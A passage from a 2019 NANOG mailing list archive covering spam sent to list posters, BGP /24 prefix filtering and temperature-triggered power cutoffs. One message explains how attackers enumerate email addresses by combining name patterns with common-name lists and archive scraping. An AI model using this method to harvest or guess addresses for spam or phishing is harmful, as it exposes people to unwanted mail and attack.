-0700 Subject: Spamming of NANOG list members In-Reply-To: <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> Message-ID: On Fri, May 24, 2019 at 8:08 AM Anne P. Mitchell, Esq. wrote: > Question: Is the member list with email addresses public?? Otherwise, > one has to wonder how they got these addresses? > Everyone who posts does so with an email address that becomes known to everyone who subscribes and published everywhere someone publicly archives the messages. It's common practice by spammers to harvest addresses by subscribing to mailing lists. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From Brian at ampr.org Fri May 24 15:17:31 2019 From: Brian at ampr.org (Brian Kantor) Date: Fri, 24 May 2019 08:17:31 -0700 Subject: Spamming of NANOG list members In-Reply-To: <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> Message-ID: <20190524151731.GA59617@meow.BKantor.net> Anne, the way that such addresses are often harvested is that one of the spammers (or his agent) becomes a member of the list and simply records the addresses of persons posting to the list. They then get spammed. - Brian On Fri, May 24, 2019 at 09:07:28AM -0600, Anne P. Mitchell, Esq. wrote: > Question: Is the member list with email addresses public?? Otherwise, one has to wonder how they got these addresses? > > Anne From nanog at ics-il.net Fri May 24 15:26:41 2019 From: nanog at ics-il.net (Mike Hammett) Date: Fri, 24 May 2019 10:26:41 -0500 (CDT) Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> Message-ID: <1703781399.4464.1558711597751.JavaMail.mhammett@ThunderFuck> Almost always indiscriminately. They probably would be wise to avoid mailing lists of sys admins, network admins, etc., but they don't. *shrugs* ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "William Herrin" To: "Anne P. Mitchell, Esq." Cc: "J. Hellenthal via NANOG" Sent: Friday, May 24, 2019 10:14:47 AM Subject: Re: Spamming of NANOG list members On Fri, May 24, 2019 at 8:08 AM Anne P. Mitchell, Esq. < amitchell at isipp.com > wrote: Question: Is the member list with email addresses public?? Otherwise, one has to wonder how they got these addresses? Everyone who posts does so with an email address that becomes known to everyone who subscribes and published everywhere someone publicly archives the messages. It's common practice by spammers to harvest addresses by subscribing to mailing lists. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From sc at ottie.org Fri May 24 15:34:25 2019 From: sc at ottie.org (Scott Christopher) Date: Fri, 24 May 2019 18:34:25 +0300 Subject: Spamming of NANOG list members In-Reply-To: <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> Message-ID: <9e9c22c0-f04b-44f9-8ce3-d4c85ce3d0d9@www.fastmail.com> Anne P. Mitchell, Esq. wrote: > Question: Is the member list with email addresses public?? Otherwise, > one has to wonder how they got these addresses? https://marc.info/?l=nanog&r=1&w=2 and https://lists.gt.net/nanog/ mangle email addresses in the headers but do nothing about email addresses that are quoted / attributed in the body. -- S.C. From rsk at gsp.org Fri May 24 15:36:15 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Fri, 24 May 2019 11:36:15 -0400 Subject: Spamming of NANOG list members In-Reply-To: <20190524151731.GA59617@meow.BKantor.net> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> Message-ID: <20190524153615.GA15215@gsp.org> On Fri, May 24, 2019 at 08:17:31AM -0700, Brian Kantor wrote: > Anne, the way that such addresses are often harvested is that one of > the spammers (or his agent) becomes a member of the list and simply > records the addresses of persons posting to the list. They then > get spammed. I rather suspect that's exactly what's happening here. I've gotten three, but a colleague who is subscribed but has never posted has gotten zero, despite sharing the same email infrastructure and thus precisely the same configuration. ----rsk From john-nanog at peachfamily.net Fri May 24 15:40:17 2019 From: john-nanog at peachfamily.net (John Peach) Date: Fri, 24 May 2019 11:40:17 -0400 Subject: Spamming of NANOG list members In-Reply-To: <20190524153615.GA15215@gsp.org> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> Message-ID: <6d811625-8364-754f-4f76-cffff21a2c3f@peachfamily.net> On 5/24/19 11:36 AM, Rich Kulawiec wrote: > On Fri, May 24, 2019 at 08:17:31AM -0700, Brian Kantor wrote: >> Anne, the way that such addresses are often harvested is that one of >> the spammers (or his agent) becomes a member of the list and simply >> records the addresses of persons posting to the list. They then >> get spammed. > > I rather suspect that's exactly what's happening here. I've gotten three, > but a colleague who is subscribed but has never posted has gotten zero, > despite sharing the same email infrastructure and thus precisely the > same configuration. > > ----rsk It's easy enough to sign up and trawl the archives.... > -- John PGP Public Key: 412934AC From sc at ottie.org Fri May 24 15:40:36 2019 From: sc at ottie.org (Scott Christopher) Date: Fri, 24 May 2019 18:40:36 +0300 Subject: Spamming of NANOG list members In-Reply-To: <20190524153615.GA15215@gsp.org> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <20190524151731.GA59617@meow.BKantor.net> <20190524153615.GA15215@gsp.org> Message-ID: Rich Kulawiec wrote: > On Fri, May 24, 2019 at 08:17:31AM -0700, Brian Kantor wrote: > > Anne, the way that such addresses are often harvested is that one of > > the spammers (or his agent) becomes a member of the list and simply > > records the addresses of persons posting to the list. They then > > get spammed. > > I rather suspect that's exactly what's happening here. I've gotten three, > but a colleague who is subscribed but has never posted has gotten zero, > despite sharing the same email infrastructure and thus precisely the > same configuration. Not even that - google your email address inside " " and see where it can be harvested. -- S.C. From Brian at ampr.org Fri May 24 16:05:22 2019 From: Brian at ampr.org (Brian Kantor) Date: Fri, 24 May 2019 09:05:22 -0700 Subject: Spamming of NANOG list members Message-ID: <20190524160522.GB59855@meow.BKantor.net> An interesting development: my posting to this list a few minutes ago seems to have triggered an autoresponder asking me to confirm the issuance of a support ticket by Liquid Web, whoever they are. - Brian > > On Fri, May 24, 2019 at 08:17:31AM -0700, Brian Kantor wrote: > > > Anne, the way that such addresses are often harvested is that one of > > > the spammers (or his agent) becomes a member of the list and simply > > > records the addresses of persons posting to the list. They then > > > get spammed. From sabri at cluecentral.net Fri May 24 17:03:52 2019 From: sabri at cluecentral.net (Sabri Berisha) Date: Fri, 24 May 2019 10:03:52 -0700 (PDT) Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> Message-ID: <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> Hi, They can, but they don't necessarily have to. In the example I mentioned, there was a private peering between them. Well, until very recently. My point being that it's not always black and white, and sometimes deaggregation is necessary for operational purposes. That's not to excuse lazy operators of course. Thanks, Sabri ----- On May 22, 2019, at 11:23 AM, Ross Tajvar wrote: > In that case shouldn't each company advertise a /21? > On Wed, May 22, 2019, 1:11 PM Sabri Berisha < [ mailto:sabri at cluecentral.net | > sabri at cluecentral.net ] > wrote: >> Hi, >> One legitimate reason is the split of companies. In some cases, IP space needs >> to be divided up. For example, company A splits up in AA and AB, and has a /20. >> Company AA may advertise the /20, while the new AB may advertise the top or >> bottom /21. I know of at least one worldwide e-commerce company that is in that >> situation. >> Thanks, >> Sabri >> ----- On May 22, 2019, at 9:40 AM, Tom Beecher wrote: >>> There are sometimes legitimate reasons to have a covering aggregate with some >>> more specific announcements. Certainly there's a lot of cleanup that many >>> should do in this area, but it might not be the best approach to this issue. >>> On Tue, May 21, 2019 at 5:30 AM Alejandro Acosta < [ >>> mailto:alejandroacostaalamo at gmail.com | alejandroacostaalamo at gmail.com ] > >>> wrote: >>>> On 5/20/19 7:26 PM, John Kristoff wrote: >>>> > On Mon, 20 May 2019 23:09:02 +0000 >>>> > Seth Mattinen < [ mailto:sethm at rollernet.us | sethm at rollernet.us ] > wrote: >>>> >> A good start would be killing any /24 announcement where a covering >>>> >> aggregate exists. >>>> > I wouldn't do this as a general rule. If an attacker knows networks are >>>> > 1) not pointing default, 2) dropping /24's, 3) not validating the >>>> > aggregates, and 4) no actual legitimate aggregate exists, (all >>>> > reasonable assumptions so far for many /24's), then they have a pretty >>>> > good opportunity to capture that traffic. >>>> +1 John >>>> Seth approach could be an option _only_ if prefix has an aggregate >>>> exists && as origin are the same >>>> > John -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Fri May 24 17:28:42 2019 From: nanog at ics-il.net (Mike Hammett) Date: Fri, 24 May 2019 12:28:42 -0500 (CDT) Subject: BGP prefix filter list In-Reply-To: <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> Message-ID: <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> If networks are going to make unconventional announcements, I'm not concerned if they suffer because of it. ----- Mike Hammett Intelligent Computing Solutions http://www.ics-il.com Midwest-IX http://www.midwest-ix.com ----- Original Message ----- From: "Sabri Berisha" To: "Ross Tajvar" Cc: "nanog" Sent: Friday, May 24, 2019 12:03:52 PM Subject: Re: BGP prefix filter list Hi, They can, but they don't necessarily have to. In the example I mentioned, there was a private peering between them. Well, until very recently. My point being that it's not always black and white, and sometimes deaggregation is necessary for operational purposes. That's not to excuse lazy operators of course. Thanks, Sabri ----- On May 22, 2019, at 11:23 AM, Ross Tajvar wrote: In that case shouldn't each company advertise a /21? On Wed, May 22, 2019, 1:11 PM Sabri Berisha < sabri at cluecentral.net > wrote:
Hi, One legitimate reason is the split of companies. In some cases, IP space needs to be divided up. For example, company A splits up in AA and AB, and has a /20. Company AA may advertise the /20, while the new AB may advertise the top or bottom /21. I know of at least one worldwide e-commerce company that is in that situation. Thanks, Sabri ----- On May 22, 2019, at 9:40 AM, Tom Beecher wrote:
There are sometimes legitimate reasons to have a covering aggregate with some more specific announcements. Certainly there's a lot of cleanup that many should do in this area, but it might not be the best approach to this issue. On Tue, May 21, 2019 at 5:30 AM Alejandro Acosta < alejandroacostaalamo at gmail.com > wrote:
On 5/20/19 7:26 PM, John Kristoff wrote: > On Mon, 20 May 2019 23:09:02 +0000 > Seth Mattinen < sethm at rollernet.us > wrote: > >> A good start would be killing any /24 announcement where a covering >> aggregate exists. > I wouldn't do this as a general rule. If an attacker knows networks are > 1) not pointing default, 2) dropping /24's, 3) not validating the > aggregates, and 4) no actual legitimate aggregate exists, (all > reasonable assumptions so far for many /24's), then they have a pretty > good opportunity to capture that traffic. +1 John Seth approach could be an option _only_ if prefix has an aggregate exists && as origin are the same > John
-------------- next part -------------- An HTML attachment was scrubbed... URL: From bill at herrin.us Fri May 24 18:22:48 2019 From: bill at herrin.us (William Herrin) Date: Fri, 24 May 2019 11:22:48 -0700 Subject: BGP prefix filter list In-Reply-To: <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> Message-ID: On Fri, May 24, 2019 at 10:29 AM Mike Hammett wrote: > If networks are going to make unconventional announcements, I'm not > concerned if they suffer because of it. > No, no no. You're not getting it. I'm a customer of Verizon. I'm a customer of CenturyLink. I get a /24 from CenturyLink and announce it via my two carriers: Verizon and CenturyLink. CenturyLink also announces the aggregate, let's say /16 that the /24 is a part of because all of the /16 containing my /24 is their allocation. Get it? I announce the /24 via both so that you can reach me when there is a problem with one or the other. If you drop the /24, you break the Internet when my connection to CenturyLink is inoperable. Good job! There is nothing unconventional about this arrangement. It was commonplace before ARIN dropped the minimum end-user assignment to /24 and many networks who themselves up that way have found it inconvenient to renumber. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From blake at ispn.net Fri May 24 18:34:08 2019 From: blake at ispn.net (Blake Hudson) Date: Fri, 24 May 2019 13:34:08 -0500 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> Message-ID: <1f14bf08-16b0-3d80-bd4c-68debe07fc00@ispn.net> William Herrin wrote on 5/24/2019 1:22 PM: >  If you drop the /24, you break the Internet when my connection to > CenturyLink is inoperable. Not really. The remote networks that drop visibility to your /24 announcement still have a default route. They just just leave the decision of the best path to your /24 up to their upstream provider(s) rather than having direct knowledge. From bill at herrin.us Fri May 24 20:25:34 2019 From: bill at herrin.us (William Herrin) Date: Fri, 24 May 2019 13:25:34 -0700 Subject: BGP prefix filter list In-Reply-To: <1f14bf08-16b0-3d80-bd4c-68debe07fc00@ispn.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <1f14bf08-16b0-3d80-bd4c-68debe07fc00@ispn.net> Message-ID: On Fri, May 24, 2019 at 11:34 AM Blake Hudson wrote: > William Herrin wrote on 5/24/2019 1:22 PM: > > If you drop the /24, you break the Internet when my connection to > > CenturyLink is inoperable. > > Not really. The remote networks that drop visibility to your /24 > announcement still have a default route. They just just leave the > decision of the best path to your /24 up to their upstream provider(s) > rather than having direct knowledge. > If you're talking about a leaf node in the BGP system then sure. You can ditch whatever you want and replace it with default routes. Ditch whole /8's if it floats your boat. Partial feed has always been acceptable for leaf nodes. If you're talking about a transit node then no, you're breaking the Internet. Even if you have a default route, your downstream customer, to whom you fail to provide the /24, will suffer malfunction. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From dseagrav at humancapitaldev.com Fri May 24 21:41:25 2019 From: dseagrav at humancapitaldev.com (Daniel Seagraves) Date: Fri, 24 May 2019 16:41:25 -0500 Subject: Spamming of NANOG list members In-Reply-To: <20190524160522.GB59855@meow.BKantor.net> References: <20190524160522.GB59855@meow.BKantor.net> Message-ID: I just got one of these and have not posted in a long time. They must be crawling archives. From rsk at gsp.org Fri May 24 21:58:09 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Fri, 24 May 2019 17:58:09 -0400 Subject: Spamming of NANOG list members In-Reply-To: <9e9c22c0-f04b-44f9-8ce3-d4c85ce3d0d9@www.fastmail.com> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <9e9c22c0-f04b-44f9-8ce3-d4c85ce3d0d9@www.fastmail.com> Message-ID: <20190524215809.GA29298@gsp.org> On Fri, May 24, 2019 at 06:34:25PM +0300, Scott Christopher wrote: > https://marc.info/?l=nanog&r=1&w=2 and https://lists.gt.net/nanog/ > mangle email addresses in the headers but do nothing about email addresses > that are quoted / attributed in the body. There is zero, as in 0.0, point in mangling/obfuscating/etc. email addresses in forlon and misguided and ultimately futile attempts to keep spammers from getting their hands on them. I wrote about this extensively a few years ago so please let me cite myself in these two messages [1]: http://www.firemountain.net/pipermail/novalug/2014-July/041213.html http://www.firemountain.net/pipermail/novalug/2014-August/041230.html On the other hand, there are a lot of reasons NOT to mangle/obfuscate/etc. email addresses, including the use of archives by people who come along later and are trying to track down authors of messages of interest. ---rsk [1] As long as those are, there's still more: as one thought experiment, consider how many of the addresses on this very list can be correctly deduced by using simple constructions based on real names. By example, let's suppose John Smith at example.net is on this list. We could readily guess: john at example.net smith at example.net johnsmith at example.net john-smith at example.net john.smith at example.net jsmith at example.net j.smith at example.net smithj at example.net smith.j at example.net and similar variations, and if you compare that to the results of egrep "^From: " nanog | sort -u you'll quickly see that a very simple script could come up with roughly half the addresses on this list immediately. One of the implications of this, given the widespread adoption of uniform algorithmic generation of email addresses by much of the corporate and government and nonprofit &etc. worlds, is that an attacker who has very little knowledge of the corpus of valid email addresses at any such entity can make a first-order pass at enumerating them by combining a script such as the one I posited above with lists of the 1000 most common first and last names in the appropriate locale. Of course if the attacker has even a small sample of known-valid addresses, then it's not necessary to use the myriad variations that such a script would generate, only the one that appears to be in use at the target. From eric-list at truenet.com Fri May 24 22:11:56 2019 From: eric-list at truenet.com (Eric Tykwinski) Date: Fri, 24 May 2019 18:11:56 -0400 Subject: Spamming of NANOG list members In-Reply-To: <20190524215809.GA29298@gsp.org> References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <9e9c22c0-f04b-44f9-8ce3-d4c85ce3d0d9@www.fastmail.com> <20190524215809.GA29298@gsp.org> Message-ID: Rich, Comment’s inline: On May 24, 2019, at 5:58 PM, Rich Kulawiec wrote > On Fri, May 24, 2019 at 06:34:25PM +0300, Scott Christopher wrote: >> https://marc.info/?l=nanog&r=1&w=2 and https://lists.gt.net/nanog/ >> mangle email addresses in the headers but do nothing about email addresses >> that are quoted / attributed in the body. > > > There is zero, as in 0.0, point in mangling/obfuscating/etc. email > addresses in forlon and misguided and ultimately futile attempts to keep > spammers from getting their hands on them. I wrote about this extensively > a few years ago so please let me cite myself in these two messages [1]: > > http://www.firemountain.net/pipermail/novalug/2014-July/041213.html > http://www.firemountain.net/pipermail/novalug/2014-August/041230.html > I guess you don’t get Comcast abuse reports, below is an example: "e7f05f85ba44ad3393e7b086eed202ee b2cca3a3ae3825c36999e12722e83830" , "Ed d95a762f93c99703afe76d25f1679ea4" Let me see you figure out who on a shared server sent that message, hell, it’s gmail.com and comcast.net so appears on the logs probably significantly on most single use corporate servers as well. > On the other hand, there are a lot of reasons NOT to mangle/obfuscate/etc. > email addresses, including the use of archives by people who come along > later and are trying to track down authors of messages of interest. > This I sort of agree with on the above example, at least to some extent. FBL’s are meant to alert to issues, as far as tracking them down it’s more of the mail ops job, so they are sort of allowed to make it a PIMA to avoid causing more issues by confirming. > ---rsk Sincerely, Eric Tykwinski TrueNet, Inc. P: 610-429-8300 From gtaylor at tnetconsulting.net Fri May 24 22:38:09 2019 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Fri, 24 May 2019 16:38:09 -0600 Subject: Spamming of NANOG list members In-Reply-To: References: <77C1DD0D-D0EC-47A9-A7D0-0985D7FEF353@nanog.org> <565817F0-0B68-442E-A4CE-22A5DFB91CBB@tislabs.com> <20190523230712.GG88473@jima.tpb.net> <1DA5CD5F-637C-4953-8BE8-5BAE1C24610E@isipp.com> <9e9c22c0-f04b-44f9-8ce3-d4c85ce3d0d9@www.fastmail.com> <20190524215809.GA29298@gsp.org> Message-ID: On 5/24/19 4:11 PM, Eric Tykwinski wrote: > I guess you don’t get Comcast abuse reports, below is an example: > "e7f05f85ba44ad3393e7b086eed202ee b2cca3a3ae3825c36999e12722e83830" > , > "Ed d95a762f93c99703afe76d25f1679ea4" > Those look like they are probably MD5 hashes (I'm guessing) of names. So your proposed algorithm would be trivial to extend to add MD5 hashes of permutations. -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4008 bytes Desc: S/MIME Cryptographic Signature URL: From james.jun at towardex.com Sat May 25 16:27:43 2019 From: james.jun at towardex.com (James Jun) Date: Sat, 25 May 2019 12:27:43 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> Message-ID: <20190525162743.GA23748@mis10.towardex.com> On Fri, May 24, 2019 at 11:22:48AM -0700, William Herrin wrote: > > Get it? I announce the /24 via both so that you can reach me when there is > a problem with one or the other. If you drop the /24, you break the > Internet when my connection to CenturyLink is inoperable. Good job! > Or also likely, in the event of your CenturyLink circuit outage, the following is likely to happen: 1. traffic comes into CenturyLink, dragged in by their /16 aggregate announcement 2. CenturyLink hears your more specific /24 from Verizon PX 3. CenturyLink sends traffic received from one peer, and out to another (Verizon), without touching a revenue side customer interface (temporary free transit situation, or temporary onintended hairpinning) This assumes you're getting /24 allocation from an aggregate CenturyLink finds acceptable to reassign to BGP multihomed customers, where they won't filter it out right from their peers (for Level3, 8.0.0.0/8 space is used for this typically). I agree that this is very common. I also found, not having LSP setup between peering-only designated routers (who would've thought a peering router needs to provide transit to another peering router that has no customers on it?!?) breaks connectivity to customers that find themselves in this very situation, due to the temporary hairpinning of traffic from one (peer|transit) interface out to another. James From dovid at telecurve.com Mon May 27 18:00:39 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 27 May 2019 14:00:39 -0400 Subject: Power cut if temps are too high Message-ID: An HTML attachment was scrubbed... URL: From Brian at ampr.org Mon May 27 18:15:54 2019 From: Brian at ampr.org (Brian Kantor) Date: Mon, 27 May 2019 11:15:54 -0700 Subject: Power cut if temps are too high In-Reply-To: References: Message-ID: <20190527181554.GA77216@meow.BKantor.net> A simple air conditioner thermostat wired to the EPO switch. For safety, wire two thermostats in series so BOTH have to trip before power is shut off. Note that the EPO rarely does an orderly shutdown, but then this is a sort of an emergency. - Brian On Mon, May 27, 2019 at 02:00:39PM -0400, Dovid Bender wrote: > Hi, > > Is anyone aware of a device that will cut the power if the room goes above X > degrees? I am looking for something as a just in case. > > > Regards, > > Dovid > From mel at beckman.org Mon May 27 18:18:08 2019 From: mel at beckman.org (Mel Beckman) Date: Mon, 27 May 2019 18:18:08 +0000 Subject: Power cut if temps are too high In-Reply-To: References: Message-ID: <569B8FA1-A484-44B3-BD73-A1CFD6673517@beckman.org> We use Intermapper, an SNMP network monitoring system, which supports UNIX scripting. Intermapper probes two Weathergoose temperature sensors, and calls a script with the values it retrieves. When both sensors exceed a certain threshold, the script sends an snmp relay trip signal to the Weathergoosen, which close a pair of dry contacts wired in series to the emergency power off contacts for the whole-room UPS. We chose to use two sensors and two dry contact relays to protect against false trips, and thus false shut downs. Before the trigger temperature is reached, the NMS would have sent various escalating alarms to on call staffers, who hopefully would intervene before this point. This protection is for the worst case scenario where nobody responds and the equipment is at risk of damage. We could have commanded an orderly shut down to all servers, but decided that it would be better to kill the power in the event of a runaway heat vent than to try to make it through all the disk activity necessary for a clean shut down. This system has triggered one time, successfully shutting down the data center on a holiday weekend when people missed their notifications, and undoubtedly saved a lot of hard drives. When we got to the room the temperature was over 115°, but the power was cut at 95°. -mel On May 27, 2019, at 11:01 AM, Dovid Bender > wrote: Hi, Is anyone aware of a device that will cut the power if the room goes above X degrees? I am looking for something as a just in case. Regards, Dovid -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Mon May 27 18:20:36 2019 From: mel at beckman.org (Mel Beckman) Date: Mon, 27 May 2019 18:20:36 +0000 Subject: Power cut if temps are too high In-Reply-To: <20190527181554.GA77216@meow.BKantor.net> References: , <20190527181554.GA77216@meow.BKantor.net> Message-ID: <0B2B0CA2-D4FA-4794-AD17-F7E9309EBC88@beckman.org> We considered this approach, but we wanted to have notifications precede shut down, and give a remote support person the ability to prevent the shut down. Our SNMP based system gives us that option. -mel > On May 27, 2019, at 11:16 AM, Brian Kantor wrote: > > A simple air conditioner thermostat wired to the EPO switch. > For safety, wire two thermostats in series so BOTH have to trip > before power is shut off. > > Note that the EPO rarely does an orderly shutdown, but then this > is a sort of an emergency. > - Brian > > >> On Mon, May 27, 2019 at 02:00:39PM -0400, Dovid Bender wrote: >> Hi, >> >> Is anyone aware of a device that will cut the power if the room goes above X >> degrees? I am looking for something as a just in case. >> >> >> Regards, >> >> Dovid >> From bross at pobox.com Mon May 27 22:10:49 2019 From: bross at pobox.com (Brandon Ross) Date: Mon, 27 May 2019 18:10:49 -0400 (EDT) Subject: Power cut if temps are too high In-Reply-To: <20190527181554.GA77216@meow.BKantor.net> References: <20190527181554.GA77216@meow.BKantor.net> Message-ID: On Mon, 27 May 2019, Brian Kantor wrote: > A simple air conditioner thermostat wired to the EPO switch. > For safety, wire two thermostats in series so BOTH have to trip > before power is shut off. Admittedly it's been a long time since I worked with basic circuitry, but wouldn't wiring them in series cause the circuit to be interrupted if EITHER thermostat tripped? -- Brandon Ross Yahoo: BrandonNRoss Voice: +1-404-635-6667 ICQ: 2269442 Signal Secure SMS, Viber, Whatsapp: +1-404-644-9628 Skype: brandonross Schedule a meeting: http://www.doodle.com/bross From Brian at ampr.org Mon May 27 22:26:46 2019 From: Brian at ampr.org (Brian Kantor) Date: Mon, 27 May 2019 15:26:46 -0700 Subject: Power cut if temps are too high In-Reply-To: References: <20190527181554.GA77216@meow.BKantor.net> Message-ID: <20190527222646.GA78245@meow.BKantor.net> I was assuming the EPO trigger is a circuit that is normally OPEN and is closed when the button is pushed. If instead, it is a normally-CLOSED circuit, then you are correct, you would want two thermostats that both OPENED when the temperature rose, which would typically be HEATING thermostats, not AIR CONDITIONING thermostats. Either method could have been installed; in the computer room I worked in, the EPO was a normally-open circuit that closed when you hit any one of the buttons placed around the room and at the exits. Or indeed, if the fire suppression system triggered. - Brian On Mon, May 27, 2019 at 06:10:49PM -0400, Brandon Ross wrote: > On Mon, 27 May 2019, Brian Kantor wrote: > > > A simple air conditioner thermostat wired to the EPO switch. > > For safety, wire two thermostats in series so BOTH have to trip > > before power is shut off. > > Admittedly it's been a long time since I worked with basic circuitry, but > wouldn't wiring them in series cause the circuit to be interrupted if > EITHER thermostat tripped? > > -- > Brandon Ross Yahoo: BrandonNRoss > Voice: +1-404-635-6667 ICQ: 2269442 > Signal Secure SMS, Viber, Whatsapp: +1-404-644-9628 Skype: brandonross > Schedule a meeting: http://www.doodle.com/bross From mel at beckman.org Mon May 27 22:31:55 2019 From: mel at beckman.org (Mel Beckman) Date: Mon, 27 May 2019 22:31:55 +0000 Subject: Power cut if temps are too high In-Reply-To: <20190527222646.GA78245@meow.BKantor.net> References: <20190527181554.GA77216@meow.BKantor.net> , <20190527222646.GA78245@meow.BKantor.net> Message-ID: <55CFA512-C855-4B2F-8E6D-FE2EF02C1B95@beckman.org> Most EPO “mushroom” buttons can be wired either NO or NC. -mel via cell > On May 27, 2019, at 3:27 PM, Brian Kantor wrote: > > I was assuming the EPO trigger is a circuit that is normally OPEN > and is closed when the button is pushed. > > If instead, it is a normally-CLOSED circuit, then you are correct, > you would want two thermostats that both OPENED when the temperature > rose, which would typically be HEATING thermostats, not AIR CONDITIONING > thermostats. > > Either method could have been installed; in the computer room I > worked in, the EPO was a 